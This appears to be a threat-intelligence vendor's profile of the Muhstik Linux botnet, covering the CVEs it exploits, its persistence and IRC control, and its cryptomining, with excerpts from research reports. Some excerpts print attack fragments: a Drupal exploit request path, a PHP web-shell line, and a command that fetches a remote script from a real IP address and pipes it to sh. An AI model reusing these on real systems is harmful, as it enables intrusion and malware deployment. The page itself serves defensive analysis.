Loading malware…
Muhstik is a Linux-focused botnet malware family, commonly described as a variant of Tsunami/Kaiten with code borrowing from Mirai, that has been active since at least 2017. It targets Linux servers, internet-exposed applications, SOHO and IoT devices, and containerized workloads. Muhstik is primarily associated with distributed denial-of-service operations and has also been repeatedly linked to cryptocurrency-mining activity, especially deployment of XMRig and related miners. It uses IRC-based command-and-control and has shown worm-like propagation through automated scanning and exploitation of vulnerable internet-facing services.
Muhstik has been observed exploiting a broad set of public vulnerabilities and weak configurations to gain initial access. Reported targets include Drupal via CVE-2018-7600, Dasan GPON routers via CVE-2018-10561, Oracle WebLogic via CVE-2017-10271, Atlassian Confluence via CVE-2021-26084, Apache Log4j via CVE-2021-44228, and Apache RocketMQ via CVE-2023-33246. Campaigns have also targeted WordPress deployments through default administrative credentials and have affected Kubernetes-hosted applications. The malware has been used against web applications, Linux servers, NAS devices, and embedded network-connected devices, reflecting opportunistic targeting of exposed systems rather than a narrow victim profile.
Operationally, Muhstik commonly arrives through shell scripts or droppers that fetch architecture-specific ELF payloads, set execute permissions, and launch the bot binary. Samples have demonstrated multi-architecture support, scanning modules for additional vulnerable services, and SSH-focused propagation components. Observed functionality includes internet scanning, exploitation reporting, SSH brute forcing, theft of local SSH credentials, and lateral movement to additional hosts. Some variants include backdoor behavior such as installing SSH authorized keys for passwordless access.
Persistence and defense evasion are recurring features. Muhstik has been seen copying itself into multiple temporary or runtime directories, modifying startup mechanisms such as inittab and rc.local, using benign-looking process or binary names, checking for analysis and monitoring tools, and killing competing malware or miners. Packed samples and staged shell-script delivery have also been used to reduce straightforward detection.
Muhstik’s monetization has centered on two main activities: botnet-enabled DDoS attacks and illicit cryptomining. Multiple campaigns show operators issuing IRC commands to deploy miners, launch flooding attacks, and manage propagation modules. In cloud-native and container environments, infections have resulted in pod takeover, persistence, outbound botnet communications, and miner execution. Muhstik has also been observed in exploitation waves following major vulnerability disclosures, indicating that its operators rapidly weaponize newly public remote code execution flaws.
Overall, Muhstik is best understood as a modular Linux botnet and trojanized server malware family that blends classic IRC botnet control, worm-like exploitation, SSH-based spread, DDoS capability, and cryptomining deployment across servers, IoT devices, and exposed enterprise applications.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
8 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Netlab 360 researchers say they have identified a botnet, dubbed Muhstik, that is taking advantage of the Drupal bug.
Netlab 360 researchers say they have identified a botnet, dubbed Muhstik, that is taking advantage of the Drupal bug.
Roughly a week ago, a critical exploit CVE-2018–10561 found in over a million GPON home routers was reported along with POC explanation. Attackers wasted little time on taking advantage of this exploit as NewSky Security has already observed two unrelated attempted attacks by now. | Attack 2: Muhstik botnet adds Dasan GPON bug into its arsenal ... the infamous Muhstik botnet also deployed CVE-2018–10561 to attack our honeypots.
The shell script attempts to download Executable and Linkable Format (ELF) files and execute them, which leads to the installation of the Muhstik botnet.
In August 2021, Atlassian published a security advisory about CVE-2021-26084 that could enable a threat actor to run arbitrary code on unpatched Confluence Server and Data Center instances. After releasing the advisory, there occur massive scanning and proof-of-concept exploit code in public. We also collect a lot attacking traffic. | Muhstik By exploiting CVE-2021-26084, it downloads conf2 from 149.28.85[.]17. The file will deploy and execute dk86 from 188.166.137[.]241 and ldm script.
The P2PInfect worm infects vulnerable Redis instances by exploiting the Lua sandbox escape vulnerability, CVE-2022-0543. P2PInfect exploits CVE-2022-0543 for initial access and then drops an initial payload that establishes P2P communication to a larger P2P network. | The first exploit for this particular vulnerability was published in March 2022, which resulted in the connection of the infected Redis instance to the Muhstik botnet. However, the P2PInfect worm appears to be associated with a different malicious network, not known to be related to the Muhstik botnet.
CVE-2023-33246: The Apache RocketMQ remote code execution vulnerability In 2023, a remote code execution vulnerability was discovered for RocketMQ versions 5.1.0 and below. RocketMQ elements, such as NameServer, Broker, and Controller, are accessible from the extranet without needing permission checks. This creates an opportunity for attackers to exploit the flaw. | Aqua Nautilus discovered a new campaign of Muhstik malware targeting message queuing services applications, specifically the Apache RocketMQ platform.
Gigabit-capable Passive Optical Network (GPON) routers manufactured by DASAN Zhone Solutions have been found vulnerable to an authentication bypass (CVE-2018-10561) and a root-RCE (CVE-2018-10562) flaws that eventually allow remote attackers to take full control of the device. | Muhstik Botnet — This botnet was initially discovered just last week when it was actively exploiting a critical Drupal flaw, and now the latest version of Muhstik has been upgraded to exploit GPON vulnerabilities, along with flaws in JBOSS and DD-WRT firmware.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
We noticed one of them has worm-propagation behavior.
On March 28, 2018, drupal released a patch for CVE-2018-7600... Starting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability... POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
The malicious PHP code loads files and executes remote commands... echo " " . shell_exec($comd) . "";
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
it was revealed that the Muhstik malware, downloaded as pty3, is detected as packed software. This means the file signature was changed in an attempt to avoid signature-based detection.
the file is saved with the name pty3. pty is a known mechanism in Linux that facilitates communication between processes. The attackers provided the file with a seemingly legitimate name
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
360Netlab observed a large number of scans on the internet against this vulnerability... the aiox86 scanning module is quite complicated... Target Ports : Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.
Check tools running inside the host/Pod to discover new Pods to infect.
The attackers queried the machine for details using the uname command to retrieve system information.
the attackers also uses the IRC communication protocol to invoke commands for the botnet: “We observed multiple IRC Channels, all starting with ‘muhstik,'”
Muhstik is a variant of the Tsunami botnet... Communication protocol: Based on the IRC protocol, sending different instructions via different channels
Communication protocol: Based on the IRC protocol, sending different instructions via different channels
It maintains the DDoS functionality of this family by connecting to a server and accepting commands via a specified IRC channel.
First of all, the pty3 started copying itself in different directories for persistence purpose: /tmp/pty3 /dev/shm/pty3 /var/tmp/pty3 /var/lock/pty3 /var/run/pty3 | The malicious remote script was downloaded and executed on the Pod http://118.24.84.121/wp-content/themes/twentyfifteen/kn | sh ... the xmra64 crypto binary miner was downloaded from 178.62.105.90 IP addresses and executed on the Pod
Muhstik monetization methods: xmrig mining: Digging XMR cryptocurrency coins... cgminer minig: Digging BTC cryptocurrency coins
132 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
24 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Botnet malware mentioned as another example of malware using SOHO devices as botnet nodes.
Muhstik is a botnet/worm active since 2017, reportedly based on a Mirai fork, that compromises exposed web applications and devices, establishes persistence, joins infected hosts to a botnet, performs DDoS activity, and monetizes infections through cryptocurrency mining.
Muhstik is a Linux and IoT-targeting malware used for cryptocurrency mining and distributed denial-of-service attacks. In this campaign it was delivered via exploitation of Apache RocketMQ CVE-2023-33246, established persistence by copying itself to multiple directories and modifying inittab, communicated with C2 over IRC, performed host discovery, and attempted SSH-based lateral movement.
Muhstik is a botnet malware that targets Linux servers and IoT devices, often exploiting web application vulnerabilities to install cryptocurrency miners and participate in DDoS attacks.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.